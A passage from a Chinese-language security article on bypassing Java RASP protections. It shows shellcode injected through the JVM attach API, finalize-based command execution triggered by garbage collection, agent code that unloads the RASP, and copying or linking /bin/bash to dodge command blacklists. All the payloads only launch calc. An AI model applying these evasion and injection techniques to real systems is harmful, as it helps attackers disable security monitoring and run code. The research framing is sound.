(byte) 0x9d, (byte) 0xff, (byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c, (byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47, (byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89, (byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e, (byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00 }; String cmd="load"; String pipeName="test"; m.setAccessible(true); Object result=m.invoke(cls,new Object[]{hProcess,shellcode,cmd,pipeName,new Object[]{}}); } } } }
上述代码在Windows x64环境下复现
如果环境中没有WindowsVirtualMachine,可以自己写一个同类名的Native函数,JVM会自动调用底层的Native函数
package sun.tools.attach; import java.io.IOException; public class WindowsVirtualMachine { static native void enqueue(long hProcess, byte[] stub,String cmd, String pipename, Object... args) throws IOException; }
这种方式可以参考Rebeyond给出的《Java内存攻击技术漫谈》一文:https://xz.aliyun.com/t/10075#toc-6
这种方式是通过创建JPLISAgent,再通过反射实例化sun.instrument.InstrumentationImpl类,并调用其redefineClasses方法重新定义类(通常在这种情况下,就可以达到无文件Agent注入)
但是在调用redefineClasses方法的时候,会调用其底层的Native的同名redefineClasses函数
在该函数中存在一个allocate函数,第一个参数是一个jvmtienv结构体。
由于我对二进制的NX(DEP)和ASLR攻防不太了解,无法深入从这个方面进行实践研究,准备后续补补课再单独做一篇文章研究,就不再此误导广大读者了。
import java.lang.ref.WeakReference; public class TestGc { public TestGc() { } @Override protected void finalize() throws Throwable { Runtime.getRuntime().exec("cmd.exe /c calc"); super.finalize(); } static { TestGc testGc = new TestGc(); WeakReference<TestGc> weakPerson = new WeakReference<TestGc>(testGc); testGc = null; System.gc(); } }
这里将testGc的变量设置成null,表示不再引用该对象了,并手动触发GC,由于之前已经创建了弱引用WeakReference,这里在执行GC后,会自动触发TestGc的finalize方法,从而执行恶意代码片段。
非常常见的卸载方式就是通过获取tools.jar的路径,调用里面的JVM API来进行卸载
URL url1 = new URL("file:C:\\Program Files\\Java\\jdk1.8.0\\lib\\tools.jar"); URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { url1 }, Thread.currentThread() .getContextClassLoader());
之后就可以通过反射的方式获取卸载的jar包路径
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0]; String payload = "uninstall.jar"; ClassLoader classLoader = getCustomClassloader(new String[]{path}); Class virtualMachineClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine"); Object virtualMachine = invokeStaticMethod(virtualMachineClass, "attach", new Object[]{pid}); invokeMethod(virtualMachine, "loadAgent", new Object[]{payload}); invokeMethod(virtualMachine, "detach", null);
详细的操作方法可以看我之前注入Tomcat内存马的案例:https://www.cnblogs.com/wh4am1/p/15996108.html
不过上述这种方法需要上传或者下载jar包到本地,再调用里面的卸载代码
不过自己联想到一种方式,众所周知一个Class类满足如下三个条件时,JVM会卸载掉该类:
该类的所有实例对象不可达
改类的Class对象不可达
改类的ClassLoader不可达
因为Rasp是通过JavaAgent加载进JVM中的,因此会用自己的ClassLoader,想法就是通过破坏ClassLoader和类的引用再调用GC来卸载掉,但是后续实践的时候发现条件太苛刻,故此提一下这个思路,要是有师傅能够实现了还望能告知一下~
Files.copy(Paths.get("/bin/bash"), Paths.get("/tmp/glassy")); Files.createSymbolicLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash")); Files.createLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash"));
之后直接调用即可绕过黑名单的检测手法
Runtime.getRuntime().exec("/tmp/glassy -c XXXX");
基于Instrumentation实现的RASP防御原理还是通过在关键函数上埋点,监控其堆栈信息和参数内容,并通过相关检测算法来判断本次请求是否为攻击。当然,针对这种引用层面上的防御,绕过方式可谓是千变万化,但其核心理念皆是通过绕过其检测方式来规避。有通过JNI注入的方式自定义Native方法,让RASP检测不到;还有通过反射的方式关闭和卸载RASP的开关;以及通过内存操作的方式编写ShellCode注入来执行等等。
如果文中有什么遗漏或是错误的地方,欢迎广大读者批评指正。
[1].https://blog.51cto.com/u_15127580/2779581
[2].https://www.cnblogs.com/RayLee/archive/2010/10/21/1857268.html
[3].https://blog.csdn.net/origin100/article/details/7305222
[4].https://www.cnblogs.com/nice0e3/p/14067160.html
[6].https://github.com/bytedance/Elkeid/issues/149
[7].https://blog.csdn.net/dmw412724/article/details/81477546
[9].https://blog.csdn.net/meinanqihao/article/details/97615591
[10].https://www.cnblogs.com/chengez/p/behinder-analyze.html
[11].https://zhuanlan.zhihu.com/p/345631770
[12].https://xz.aliyun.com/t/10075#toc-6
[13].https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html
[14].https://www.cnblogs.com/rebeyond/p/16691104.html
[15].《Magic in RASP attack and defense》Glassy、pyn3rd,2022 Kcon黑客大会